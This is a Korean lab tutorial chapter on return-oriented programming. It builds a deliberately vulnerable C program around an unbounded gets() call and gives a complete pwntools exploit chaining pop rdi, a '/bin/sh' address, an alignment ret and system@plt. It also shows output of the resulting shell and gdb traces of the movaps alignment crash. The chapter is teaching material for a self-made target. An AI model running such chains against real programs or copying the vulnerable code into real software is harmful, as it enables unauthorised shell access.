Step 206. ROP 2: 체인으로 system(“/bin/sh”) 호출 — NX를 넘어 쉘로

Step 206. ROP 2: 체인으로 system("/bin/sh") 호출 — NX를 넘어 쉘로

Level 3 — Pwn 트랙 | 난이도 ★★★★★ | 예상 소요 시간 5시간

전제: Step 204~205를 마쳤다. pop rdi; ret 가젯으로 인자를 세팅하고 함수를 부를 수 있고, 체인의 스택 레이아웃을 그릴 수 있다.

⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.

  • 준비물: WSL 우분투 터미널, gcc, gdb, ROPgadget, pwntools. 실측 환경은 Ubuntu 24.04, gcc 13.3.0, pwntools 4.15.0입니다.
  • 주의: 오늘의 완성품은 "프로그램 안에서 쉘을 띄우는" 실전형 공격입니다. 대상은 여러분이 직접 만든 실험 바이너리뿐입니다.

지금까지의 목표는 "플래그를 출력하는 함수를 부르는 것"이었습니다. 오늘의 목표는 다릅니다. system("/bin/sh") — 프로그램에게 쉘을 실행시키는 것. 공격자의 최종 목적지입니다. 그리고 오늘부터는 NX(스택 실행 금지)를 켠 채로 합니다. 내 코드는 못 심지만, 있는 코드를 이어 붙이는 ROP는 NX가 막지 못한다는 것을 몸으로 확인합니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • NX가 켜진 바이너리에서 ROP가 유일한 길인 이유를 설명한다
  • system을 링크시키는 조건과 system@plt의 의미를 안다
  • 패딩 + pop rdi + "/bin/sh" + ret + system 체인을 설계하고 실행한다
  • 스택 정렬이 깨졌을 때의 movaps 크래시를 재현하고 ret 가젯으로 고친다
  • 취득한 쉘에 명령을 보내 결과를 확인한다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 C 언어 + 파이썬(pwntools), WSL 우분투 bash, gcc 13.3.0, gdb 15.1 (x86-64)
오늘의 명령어·도구 pwn checksec ./대상(NX 확인), objdump -d | grep system@plt(PLT 주소), ROPgadget, strings -t x, p.sendline(b'id')(쉘에 명령)
필요한 개념 NX와 ROP, PLT, system() 함수, 스택 16바이트 정렬, 쉘의 stdin

2-1. NX가 켜지면 — 그리고 ROP가 답이다

Step 187에서 배운 NX는 스택의 실행을 금지합니다. 오늘 바이너리에는 -z execstack을 빼고 컴파일해 NX가 켜져 있습니다. 스택에 심은 쉘코드(Step 203)는 이제 실행되지 않습니다.

하지만 ROP는 스택에서 코드를 실행하지 않습니다. 스택에는 주소와 데이터만 있고, 실행은 전부 원래 실행 권한이 있는 코드 영역에서 일어납니다. NX가 지키는 "데이터 ≠ 코드"의 구분을 ROP는 어기지 않습니다. 그래서 NX 시대의 공격은 ROP가 기본형이 됐습니다.

2-2. system()과 PLT — 라이브러리 함수 부르기

system("/bin/sh")은 문자열 하나를 받아 그 명령을 실행하는 libc 함수입니다. 우리 바이너리가 system을 쓰려면 두 조건이 필요합니다.

  1. system이 바이너리에 링크돼 있어야 합니다. 소스 어딘가에 system 호출이 한 번이라도 있으면 링커가 연결해 둡니다.
  2. 부를 주소를 알아야 합니다. -no-pie 바이너리에서는 PLT라는 고정된 점프대가 그 역할을 합니다.

PLT(Procedure Linkage Table) 는 외부 라이브러리 함수로 가는 고정 주소의 관문입니다. system@plt로 점프하면 결국 libc의 진짜 system에 도달합니다. 바이너리가 -no-pie라면 이 관문의 주소는 고정이라, ASLR이 켜져 있어도 쓸 수 있습니다. (PLT의 내부 구조와 GOT와의 관계는 Step 210에서 정식으로 해부합니다. 오늘은 "고정된 관문"으로만 다룹니다.)

2-3. "/bin/sh" 문자열은 어디서 — 세 가지 조달법

system에게 줄 인자는 문자열의 주소입니다. 그 문자열이 어딘가에 있어야 합니다.

  1. 바이너리에 이미 있는 경우 (오늘의 실습) — strings -t x로 찾습니다. "/bin/sh" 전체가 없어도 "sh" 두 글자만 있는 곳을 가리키는 꼼수도 실전에서 씁니다.
  2. 스택에 직접 심는 경우 — gets로 들어오는 입력 자체에 "/bin/sh"를 포함시키는 방법인데, 스택 주소(ASLR)를 알아야 해서 오늘 조건에서는 번거롭습니다.
  3. read로 .bss에 써 넣는 경우 — 가장 정석적인 실전 패턴입니다. read 함수를 ROP로 불러 쓰기 가능한 데이터 영역(.bss)에 "/bin/sh"를 받아 적은 뒤, 그 주소를 system에 넘기는 2단 체인입니다. 오늘은 개념만 짚고, 미션의 도전 과제로 남깁니다.

2-4. 스택 정렬 — ret 가젯 하나가 가르는 성패

64비트 libc의 함수들은 내부에서 SSE 명령 movaps를 쓰는데, 이 명령은 메모리 주소가 16바이트로 정렬돼 있지 않으면 그 자리에서 세그폴트를 냅니다. 정상적인 call로 진입한 함수는 "call 직전 rsp가 16의 배수"라는 약속 덕에 안전하지만, 우리의 수제 체인은 이 약속을 깨기 쉽습니다.

처방은 단순합니다. 목표 함수 앞에 아무 일도 안 하는 ret 가젯을 하나 끼워 스택 포인터를 8바이트 밀어 정렬을 맞춥니다. 이 크래시는 이 챕터 3-5에서 실제로 재현합니다 — 이 책 전체에서 가장 실전다운 벽입니다.


3. 따라 하기

3-1. 표적 제작 — system이 링크된 취약 바이너리

입력 (vuln206.c)

#include <stdio.h>
#include <stdlib.h>

/* 어디서도 부르지 않지만, system을 바이너리에 링크시키는 역할 */
void helper(void) {
    system("echo helper");
}

/* 가젯 공급 함수 — 실습 문제처럼 심어 둠 */
void gadgets(void) {
    __asm__ volatile(
        "pop %rdi\n\t"
        "ret\n"
    );
}

/* 바이너리 안에 남는 문자열 */
const char *shell_str = "/bin/sh";

void vuln(void) {
    char buf[32];
    printf("입력: ");
    fflush(stdout);
    gets(buf);
    printf("받은 값: %s\n", buf);
    fflush(stdout);
    if (shell_str == NULL) printf("x");  /* shell_str 소거 방지 */
}

int main(void) {
    vuln();
    printf("정상 종료\n");
    return 0;
}

읽는 법: helper는 아무도 부르지 않지만 system을 언급하므로 링커가 system을 연결합니다. shell_str 덕분에 "/bin/sh" 문자열이 바이너리에 상주합니다. 실전 바이너리에서는 이런 재료가 우연히 존재하는 경우가 많습니다 — 개발자가 남겨 둔 디버그용 호출 같은 것들입니다.

컴파일 — 이번엔 NX를 켠다

cd ~/lab204_208
gcc -g -O0 -fno-stack-protector -no-pie vuln206.c -o vuln206

3-2. NX 확인 — 이번 표적은 다르다

/root/lab188/venv/bin/pwn checksec ./vuln206
[*] '/root/lab204_208/vuln206'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    ...

(2026-09-09 실측.)

출력 읽는 법: NX: NX enabled — Step 204의 바이너리(Stack: Executable)와 다른 한 줄입니다. 스택의 쉘코드는 이제 실행 불가. 그래서 우리는 ROP로 갑니다. No PIE 덕에 바이너리 자체의 주소(PLT, 가젯, 문자열)는 고정입니다.

3-3. 재료 수집 — 네 개의 주소

objdump -d ./vuln206 | grep -A1 "<system@plt>:"
00000000004010b0 <system@plt>:
  4010b0:	f3 0f 1e fa          	endbr64
/root/lab188/venv/bin/ROPgadget --binary ./vuln206 --only "pop|ret" | grep -E "pop rdi ; ret$| : ret$"
0x00000000004011f8 : pop rdi ; ret
0x000000000040101a : ret
strings -t x vuln206 | grep "/bin/sh"
   2010 /bin/sh

(2026-09-09 실측.)

재료 정리: system@plt = 0x4010b0, pop rdi ; ret = 0x4011f8, ret = 0x40101a, "/bin/sh" = 0x402010 (0x2000 + 0x10). 패딩은 disas로 확인하면 buf = rbp – 0x20이므로 여전히 40바이트입니다.

체인 설계: [A × 40][pop rdi][0x402010][ret][0x4010b0]. vuln이 ret → pop rdi가 "/bin/sh" 주소를 rdi에 → ret가 정렬을 맞추며 넘기고 → system@plt 진입. system("/bin/sh") 완성 문장입니다.

3-4. ★ 공격 실행 — 쉘 획득

입력 (exploit206.py)

#!/usr/bin/env python3
from pwn import *

context.log_level = 'debug'

e = ELF('/root/lab204_208/vuln206')
context.binary = e

pop_rdi = 0x4011f8      # ROPgadget으로 찾은 pop rdi ; ret
ret     = 0x40101a      # 스택 정렬용 ret 가젯
binsh   = 0x402010      # strings -t x 로 찾은 "/bin/sh"
system  = e.plt['system']

print("[*] system@plt =", hex(system))

payload = b'A' * 40
payload += p64(pop_rdi)   # rdi에 넣을 준비
payload += p64(binsh)     # rdi = "/bin/sh"
payload += p64(ret)       # 스택 16바이트 정렬
payload += p64(system)    # system("/bin/sh")

p = process('/root/lab204_208/vuln206')
p.recvuntil('입력: '.encode())
p.sendline(payload)
p.sendline(b'id; echo SHELL_ACQUIRED')
p.recvuntil('받은 값: '.encode())
print(p.recvall(timeout=3).decode(errors='replace'))

실행

/root/lab188/venv/bin/python3 exploit206.py
[*] system@plt = 0x4010b4
[DEBUG] Sent 0x49 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  41 41 41 41  f8 11 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000030  10 20 40 00  00 00 00 00  1a 10 40 00  00 00 00 00  │· @·│····│··@·│····│
    00000040  b4 10 40 00  00 00 00 00  0a                        │··@·│····│·│
[DEBUG] Sent 0x18 bytes:
    b'id; echo SHELL_ACQUIRED\n'
...
[*] Stopped process '/root/lab204_208/vuln206' (pid 685)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
uid=0(root) gid=0(root) groups=0(root)
SHELL_ACQUIRED

(2026-09-09 실측.)

성공입니다. 화면을 읽어 봅시다.

  • uid=0(root) ... — 우리가 보낸 id 명령의 출력입니다. 프로그램이 띄운 /bin/sh가 우리의 두 번째 줄을 읽어 실행했습니다. 쉘을 잡았다는 것은, 이 프로그램의 권한으로 임의 명령을 실행할 수 있게 됐다는 뜻입니다.
  • SHELL_ACQUIRED — 우리의 표식이 찍혔습니다.
  • e.plt['system']이 0x4010b0이 아니라 0x4010b4를 준 것에 주목하세요. pwntools는 PLT 입구의 endbr64(4바이트)를 건너뛴 주소를 보고합니다. 둘 다 유효한 진입점이라 공격은 똑같이 성공합니다 (둘 다 실측했습니다).

3-5. 스택 정렬의 벽 — ret를 빼면 일어나는 일

체인에서 정렬용 ret를 빼고(패딩 + pop rdi + binsh + system) gdb로 따라가 봅시다.

(gdb) b system
(gdb) r < payload206_noret.txt
Breakpoint 1, __libc_system (line=0x402010 "/bin/sh") at ../sysdeps/posix/system.c:202
(gdb) c
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7c5843b in do_system (line=0x402010 "/bin/sh") at ../sysdeps/posix/system.c:148
(gdb) x/i $rip
=> 0x7ffff7c5843b <do_system+363>:	movaps %xmm0,0x50(%rsp)
(gdb) info registers rsp
rsp            0x7fffffffe248      0x7fffffffe248

(2026-09-09 실측.)

출력 읽는 법: system에는 정상 진입했고(rdi = "/bin/sh" 확인됨), 인자까지 완벽했습니다. 그런데 do_system+363movaps %xmm0,0x50(%rsp) 에서 죽었습니다. rsp가 0x…e248 — 16으로 나누어떨어지지 않습니다. movaps는 16바이트 정렬을 요구하니 이 한 줄이 프로그램을 죽인 것입니다.

"로컬에서 되는데 안 되는" 실전 크래시의 상당수가 바로 이것입니다. 처방은 ret 가젯 하나. 스택 포인터가 8바이트 밀리며 정렬이 맞습니다. system 계열 함수 앞에 ret 하나를 끼우는 것은 pwn의 표준 관용구입니다.

3-6. 쉘과 대화하기 — stdin 연결 감각

쉘은 프로그램의 stdin을 그대로 물려받습니다. pwntools 스크립트에서는 p.sendline(b'명령')이 곧 쉘에 치는 명령이고, 실전 익스플로잇에서는 마지막에 p.interactive()를 호출해 키보드를 쉘에 직결합니다.

한 가지 함정이 있습니다. 쉘을 띄운 직후 아무 명령도 보내지 않으면, 파이프의 끝(EOF)에 도달한 쉘은 조용히 종료됩니다. "쉘이 떴는데 바로 죽는다"면 대부분 이 경우입니다. 3-4처럼 성공 표식 명령을 바로 보내 확인하는 습관을 들이세요.


4. 미션과 연습문제

미션 — 나만의 재료로 쉘 획득

  1. vuln206.c를 변형한다: buf 크기를 바꾸고(예: char buf[48]), "/bin/sh" 대신 여러분만의 문자열로 echo PWNED_이니셜을 실행하는 구조를 만든다 (힌트: system에 넘길 문자열이 쉘이면 쉘이 뜨고, echo 명령이면 한 줄 출력 후 끝난다)
  2. 재료(패딩, pop rdi, 문자열 주소, system@plt)를 전부 스스로 다시 수집한다 — 책의 숫자 재사용 금지
  3. 정렬용 ret 없이 먼저 시도하고, 결과(성공 또는 movaps 크래시)를 기록한다
  4. ret를 끼운 최종 체인으로 성공시키고, 두 결과의 차이를 정렬 관점으로 설명한다
  5. (도전) 2-3의 3번 패턴: 바이너리에서 "/bin/sh"를 지우고, read(0, bss, 8)를 ROP로 불러 "/bin/sh"를 .bss에 써 넣은 뒤 system을 부르는 2단 체인을 설계한다 — 스택 레이아웃 그림까지만

연습문제

문제 1. 오늘 바이너리는 NX가 켜져 있었습니다. 그런데도 공격이 성공한 이유를 "우리가 심은 것"과 "실행된 것"의 관점에서 설명해 보세요.

문제 2. system@plt로 점프했는데 진짜 libc의 system에 어떻게 도달하나요? PLT의 역할을 한 문장으로 말해 보세요.

문제 3. 3-5의 크래시에서 인자(rdi = "/bin/sh")는 완벽했는데 왜 죽었나요? movaps가 요구하는 조건과 함께 설명해 보세요.

문제 4. 쉘을 띄운 뒤 아무것도 안내면 쉘이 바로 종료되는 이유는 무엇인가요?


5. 모범 답안과 완료 기준

미션 모범 답안

리포트의 예 (2026-09-09, Ubuntu 24.04, gcc 13.3.0 기준 — 숫자는 환경에 따라 달라집니다):

[설계] buf[48]로 변경, shell_str = "echo PWNED_DQ" (쉘 대신 명령 실행 확인용)
[재료] disas → buf = rbp-0x30, 패딩 = 0x30 + 8 = 56 바이트
      ROPgadget → pop rdi ; ret = 0x4011f8 부근 (재측정)
      strings -t x → "echo PWNED_DQ" = 0x4020xx
      objdump → system@plt = 0x4010b0
[시도 1 — ret 없음] SIGSEGV, gdb: do_system의 movaps에서 사망 (rsp 끝자리 8)
[시도 2 — ret 끼움] "PWNED_DQ" 출력 성공
[설명] 시도 1은 system 진입 시점 rsp가 16의 배수가 아니라 movaps에서 사망,
      ret 하나가 rsp를 8바이트 밀어 정렬을 맞춰 생존

검증하는 법: ① 재료가 전부 새 바이너리에서 재측정됐는가(패딩이 40이 아니어야 정상). ② "ret 없음" 시도의 실패 기록이 있는가 — 그 기록이 있어야 정렬의 의미를 안다는 증거입니다. ③ 성공 출력이 명령의 결과와 정확히 일치하는가.

연습문제 해답

문제 1 해답. 우리가 스택에 심은 것은 주소와 데이터(문자열 포인터)뿐이고, 실행된 것은 전부 원래 실행 권한이 있는 코드 영역의 조각(가젯)과 libc 함수(system)입니다. NX는 "데이터 영역에 심은 코드의 실행"을 막는 장치이므로, 새 코드를 심지 않는 이 공격에는 걸릴 것이 없습니다. 이것이 NX 시대에 ROP가 기본형인 이유입니다.

문제 2 해답. PLT는 바이너리 안에 고정 주소로 존재하는 관문(점프대)으로, system@plt로의 점프는 GOT를 거쳐 결국 그 실행에서 로드된 libc의 진짜 system 코드로 이어집니다. -no-pie 바이너리에서는 이 관문 주소가 고정이라 ASLR과 무관하게 쓸 수 있습니다.

문제 3 해답. 인자와 무관한 문제입니다. system 내부(do_system)가 쓰는 movaps 명령은 대상 메모리 주소가 16바이트로 정렬돼야 하는데, 우리 체인이 만든 rsp는 끝자리가 8(정렬 위반)이었습니다. 정상적인 call 경로라면 "call 직전 rsp 16바이트 정렬" 약속이 지켜지지만, 수제 체인은 그 약속 밖입니다. 그래서 ret 가젯으로 rsp를 8바이트 밀어 약속을 맞춥니다.

문제 4 해답. 쉘은 stdin을 물려받는데, 파이프로 연결된 stdin에서 더 읽을 데이터가 없으면(EOF) 쉘은 스스로 종료하기 때문입니다. 대화형 터미널이라면 프롬프트가 뜨며 기다리지만, 스크립트의 파이프에서는 EOF가 곧 종료 신호입니다. 그래서 쉘 획득 직후 확인 명령을 바로 보내거나 p.interactive()로 키보드를 연결합니다.

완료 기준 체크리스트

  • [ ] NX가 켜진 바이너리에서 ROP가 필요한 이유를 설명할 수 있다
  • [ ] system을 링크시키는 조건(소스에 호출 언급)을 안다
  • [ ] 재료 네 개(패딩·가젯·문자열·system@plt)를 스스로 수집할 수 있다
  • [ ] 체인으로 system("/bin/sh")을 호출해 쉘(또는 명령 실행)을 확인했다
  • [ ] 정렬용 ret 없이 시도한 크래시(movaps)를 재현하고 원인을 설명했다
  • [ ] e.plt[‘system’]의 주소가 PLT 입구+4로 보고되는 이유를 안다 (endbr64)
  • [ ] 쉘의 stdin/EOF 동작을 설명할 수 있다
  • [ ] 미션: 재설계한 표적에 대한 성공·실패 기록 리포트를 완성했다

6. 흔한 실수와 해결

벽 1. 쉘도 안 뜨고 그냥 죽는다 — movaps

증상: 체인이 system까지는 가는 것 같은데 세그폴트. gdb에서 보면:

Program received signal SIGSEGV, Segmentation fault.
=> 0x7ffff7c5843b <do_system+363>:	movaps %xmm0,0x50(%rsp)

원인: 스택 정렬 위반입니다. 2026-09-09 실측에서 rsp 끝자리가 8인 상태였습니다.
해결: system 앞에 ret 가젯 하나를 끼우세요. 그래도 죽으면 두 개를 끼워 봅니다 — 재진입한 스택 상태에 따라 필요한 개수가 달라집니다 (Step 207에서 실제로 두 개가 필요한 경우를 겪습니다).

벽 2. "쉘이 떴는데" 아무 출력이 없다

증상: 크래시도 없고 종료도 깔끔한데 id의 출력이 없습니다.
원인: 셋 중 하나 — ① system에 간 rdi가 엉터리라 쉘이 아닌 것이 실행됐다 ② 쉘은 떴는데 명령을 보내기 전에 EOF로 종료 ③ 받는 쪽(recvall) 타이밍이 너무 빨랐다.
해결: gdb에 b system을 걸어 진입 시 x/s $rdi로 "/bin/sh"를 먼저 확인하세요. 인자가 맞으면 recv 계열에 timeout을 넉넉히 주고, 표식 명령(echo SHELL_ACQUIRED)을 sendline으로 보냈는지 점검합니다.

벽 3. strings에서 "/bin/sh"를 찾았는데 주소가 안 맞는다

증상: strings가 준 오프셋(0x2010)을 그대로 썼더니 쓰레기 문자열이 실행됩니다.
원인: 파일 오프셋과 메모리 가상 주소의 혼동입니다.
해결: 이 바이너리는 .rodata가 0x402000에 매핑되므로 0x402000 + 0x10 = 0x402010입니다. 확실하지 않으면 gdb에서 x/s 0x402010으로 그 주소의 내용을 직접 확인하세요.

벽 4. pwntools가 주는 system 주소가 objdump와 다르다

증상: objdump는 0x4010b0, e.plt['system']은 0x4010b4.
원인: pwntools가 PLT 입구의 endbr64(4바이트)를 건너뛴 주소를 보고하기 때문입니다. 둘 다 정상 진입점입니다 (둘 다 실측으로 성공을 확인했습니다).
해결: 어느 쪽을 써도 됩니다. 다만 리포트에 숫자를 적을 때 출처를 밝혀 두세요.

벽 5. 컴파일했는데 system@plt가 없다

증상: objdump -d | grep system에 아무것도 없습니다.
원인: 소스에 system 호출이 없거나, 최적화가 호출을 지웠습니다.
해결: helper처럼 실제 system 호출이 코드에 있어야 링커가 PLT를 만듭니다. -O0로 컴파일했다면 호출이 살아 있습니다.


7. 정리

오늘의 개념

개념 한 줄 설명
system() 문자열을 명령으로 실행하는 libc 함수 — 공격의 종착지
PLT 라이브러리 함수로 가는 고정 주소의 관문 (-no-pie에서 ASLR 면제)
NX 시대의 공격 새 코드 없이 있는 코드만 이어 붙이는 ROP가 기본형
스택 정렬 system 계열 진입 전 rsp 16바이트 정렬 — ret 가젯으로 조정
문자열 조달 바이너리 상주 / 스택 주입 / read로 .bss에 쓰기의 세 갈래

오늘의 명령어

명령·코드 하는 일
pwn checksec ./대상 NX 등 보호 기법 확인 — 공격 방식 결정
objdump -d | grep system@plt PLT 관문 주소 찾기
e.plt['system'] (pwntools) PLT 주소 자동 독출 (endbr64 건너뜀 주의)
패딩 + pop rdi + binsh + ret + system 쉘 획득 표준 체인
p.sendline(b'id') 취득한 쉘에 명령 보내기
x/s $rdi (gdb) 함수 진입 시 인자 검증

명령어보다 중요한 감각

오늘 여러분은 체인이라는 단어 목록으로 첫 번째 완성 문장을 썼습니다. system("/bin/sh"). 다섯 개의 숫자(주소 넷과 패딩)가 스택에 쌓였을 뿐인데, 프로그램은 자기 권한의 쉘을 내놓았습니다. Pwn의 세계에서 "쉘이 떴다"는 이 물리적 사건의 다른 이름입니다.

그런데 오늘의 성공에는 숨은 공짜가 하나 있었습니다. system@plt가 고정 주소였다는 것 — 바이너리가 -no-pie였기 때문입니다. 만약 필요한 주소가 실행마다 바뀐다면, 우리의 숫자 다섯 개는 그 순간 무용해집니다. ASLR이라는 방어가 바로 그렇게 작동합니다. 이 벽을 어떻게 넘는지는, 여러분이 이미 가진 재료 — 가젯과 체인 — 만으로 충분히 답할 수 있는 질문입니다.


전부 체크되면 Step 206 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.